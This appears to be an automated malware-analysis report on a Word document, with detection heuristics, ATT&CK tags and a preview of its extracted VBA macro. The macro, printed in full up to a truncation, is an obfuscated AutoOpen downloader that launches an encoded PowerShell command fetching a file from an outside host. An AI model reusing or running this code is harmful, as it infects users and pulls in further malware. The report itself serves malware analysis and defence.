MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. The macro constructs and executes a command-line string, likely to download and run a second-stage payload. This behavior is consistent with a malicious document delivered via spearphishing.
Heuristics 5
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ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 69720 bytes |
SHA-256: c7613b4c2dea4ec22b4b96a14e40625b918897d4dbc48a7bda7f6a5ec91a1093 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const vECIJuknITaSOqAvUzoiItYiSumO = 0 Sub AutoOpen() On Error Resume Next Dim GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(4) If 12 = 12 + (2 * 0) Then GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(0) = CLng(9962) End If GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(1) = Sqr(2) GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(2) = Month(99629962) GetyliTYHOKaWOjiDMIhhuBOToMeBonokejEziw(3) = Fix(9962.2) Dim nAXIJVOUcYPEQhaIQAgbOf(4) If 10 = 10 + (6 * 0) Then nAXIJVOUcYPEQhaIQAgbOf(0) = CLng(9215) End If nAXIJVOUcYPEQhaIQAgbOf(1) = Sqr(6) nAXIJVOUcYPEQhaIQAgbOf(2) = Month(92159215) nAXIJVOUcYPEQhaIQAgbOf(3) = Fix(9215.6) CJygUlAwOMaHeciJIjeKAXblyQYfYDAzYPOcEdYsN = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^v^A^H^c^A^a^Q^B^l^A^G^8^A^c^Q^B^r^A^H^g^A^a^w^B^h^A^G^w^A^c^w^A^u^A^G^M^A^b^w^B^t^A^C^8^A^V^g^B^S^A^E^U^A^L^w^B^r^A^G^8^A^d^A^B^u^A^G^U^A^c^g^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^0^A^a^Q^B^v^A" Dim DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(4) If 12 = 12 + (7 * 0) Then DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(0) = CLng(4084) End If DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(1) = Sqr(7) DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(2) = Month(40844084) DaTutOLUsEcaXyhIMxUGauiIMeQeJoL(3) = Fix(4084.7) Dim dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(4) If 11 = 11 + (8 * 0) Then dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(0) = CLng(4628) End If dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(1) = Sqr(8) dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(2) = Month(46284628) dygZOcEPYSmeGIRYhUcazaJUbEkOkaiFUaUlim(3) = Fix(4628.8) Dim tiNasekUNicINpCaqiRuSFaPaSiS(4) Dim iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(4) If 10 = 10 + (7 * 0) Then iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(0) = CLng(4285) End If iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(1) = Sqr(7) iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(2) = Month(42854285) iiDEpoUMajEIZBowIwUSEKEiEDjYwODyGiv(3) = Fix(4285.7) Dim eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(4) If 13 = 13 + (5 * 0) Then eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(0) = CLng(6682) End If eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(1) = Sqr(5) eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(2) = Month(66826682) eCyiyToaiCyjatEssANIWumUZOqyiiPExiKarAqe(3) = Fix(6682.5) If 13 = 13 + (1 * 0) Then Dim QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(4) If 11 = 11 + (6 * 0) Then QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(0) = CLng(7037) End If QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(1) = Sqr(6) QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(2) = Month(70377037) QetuOVOLUjIVYcImEToNOtanyNulINoGuMa(3) = Fix(7037.6) Dim JARajYcasUHUMhoHfUxisENIrYiYB(4) If 12 = 12 + (2 * 0) Then JARajYcasUHUMhoHfUxisENIrYiYB(0) = CLng(8711) End If JARajYcasUHUMhoHfUxisENIrYiYB(1) = Sqr(2) JARajYcasUHUMhoHfUxisENIrYiYB(2) = Month(87118711) JARajYcasUHUMhoHfUxisENIrYiYB(3) = Fix(8711.2) tiNasekUNicINpCaqiRuSFaPaSiS(0) = CLng(6383) Dim ZuWiqUHoxEfUneLMEdEWommk(4) If 11 = 11 + (2 * 0) Then ZuWiqUHoxEfUneLMEdEWommk(0) = CLng(4889) End If ZuWiqUHoxEfUneLMEdEWommk(1) = Sqr(2) ZuWiqUHoxEfUneLMEdEWommk(2) = Month(48894889) ZuWiqUHoxEfUneLMEdEWommk(3) = Fix(4889.2) Dim BnanoMeDUhiEgABAsSIMOayNOqahOjEhaY(4) If 11 = 11 + (7 * 0) Then BnanoMeDUhiEgABAsSIMOayNOqahOjEhaY(0) = CLng(8105) End If BnanoMeDUhiEgABAsSIMOayNOqahOjEhaY(1) = Sqr(7) BnanoMeDUhiEgABAsSIMOayNOqahOjEhaY ... (truncated) |
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